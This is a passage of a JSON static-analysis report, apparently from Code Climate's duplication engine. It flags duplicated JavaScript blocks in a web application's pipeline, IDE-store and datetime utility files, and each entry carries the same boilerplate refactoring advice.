on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2d6588749bb4b05d1e583e13b9a75e39","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pipelines/pipeline_details_mediator.js","lines":{"begin":33,"end":39}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/environments/mixins/environments_mixin.js","lines":{"begin":164,"end":170}},{"path":"app/assets/javascripts/jobs/job_details_mediator.js","lines":{"begin":41,"end":47}},{"path":"app/assets/javascripts/pipelines/mixins/pipelines.js","lines":{"begin":45,"end":51}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e1b42460d85ed0074c2f1fbd38bf2631","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pipelines/mixins/pipelines.js","lines":{"begin":45,"end":51}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/environments/mixins/environments_mixin.js","lines":{"begin":164,"end":170}},{"path":"app/assets/javascripts/jobs/job_details_mediator.js","lines":{"begin":41,"end":47}},{"path":"app/assets/javascripts/pipelines/pipeline_details_mediator.js","lines":{"begin":33,"end":39}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f4d765094c9218d5390de58501e17b93","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/job_details_mediator.js","lines":{"begin":41,"end":47}},"remediation_points":870000,"other_locations":[{"path":"app/assets/javascripts/environments/mixins/environments_mixin.js","lines":{"begin":164,"end":170}},{"path":"app/assets/javascripts/pipelines/mixins/pipelines.js","lines":{"begin":45,"end":51}},{"path":"app/assets/javascripts/pipelines/pipeline_details_mediator.js","lines":{"begin":33,"end":39}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 64**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"caa789e408f667bb83169e9a6e4f54bb","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations.js","lines":{"begin":198,"end":200}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":142,"end":144}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":148,"end":150}},{"path":"app/assets/javascripts/ide/stores/mutations/tree.js","lines":{"begin":42,"end":44}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7b7e24c67302a04433b92238befc3cf1","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/tree.js","lines":{"begin":42,"end":44}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations.js","lines":{"begin":198,"end":200}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":142,"end":144}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":148,"end":150}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"935ca74221c521771d96150adf2278fe","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":142,"end":144}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations.js","lines":{"begin":198,"end":200}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":148,"end":150}},{"path":"app/assets/javascripts/ide/stores/mutations/tree.js","lines":{"begin":42,"end":44}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"db86386cff8c19e24cbadfb75750f1d9","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":148,"end":150}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/mutations.js","lines":{"begin":198,"end":200}},{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":142,"end":144}},{"path":"app/assets/javascripts/ide/stores/mutations/tree.js","lines":{"begin":42,"end":44}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"db86386cff8c19e24cbadfb75750f1d9","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":7,"end":41}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":43,"end":74}},{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":76,"end":108}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"37429fdf41dd049c7cec6890f8e50c82","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":43,"end":74}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":7,"end":41}},{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":76,"end":108}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"37429fdf41dd049c7cec6890f8e50c82","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":76,"end":108}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":7,"end":41}},{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":43,"end":74}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"37429fdf41dd049c7cec6890f8e50c82","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":79,"end":96}},"remediation_points":4710000,"other_locations":[{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":97,"end":114}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 192**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"860f8a405f1b26af1f14049631bd7aa9","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":97,"end":114}},"remediation_points":4710000,"other_locations":[{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":79,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 192**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"860f8a405f1b26af1f14049631bd7aa9","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/subscription_select.js","lines":{"begin":3,"end":26}},"remediation_points":4710000,"other_locations":[{"path":"app/assets/javascripts/issue_status_select.js","lines":{"begin":3,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 192**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the 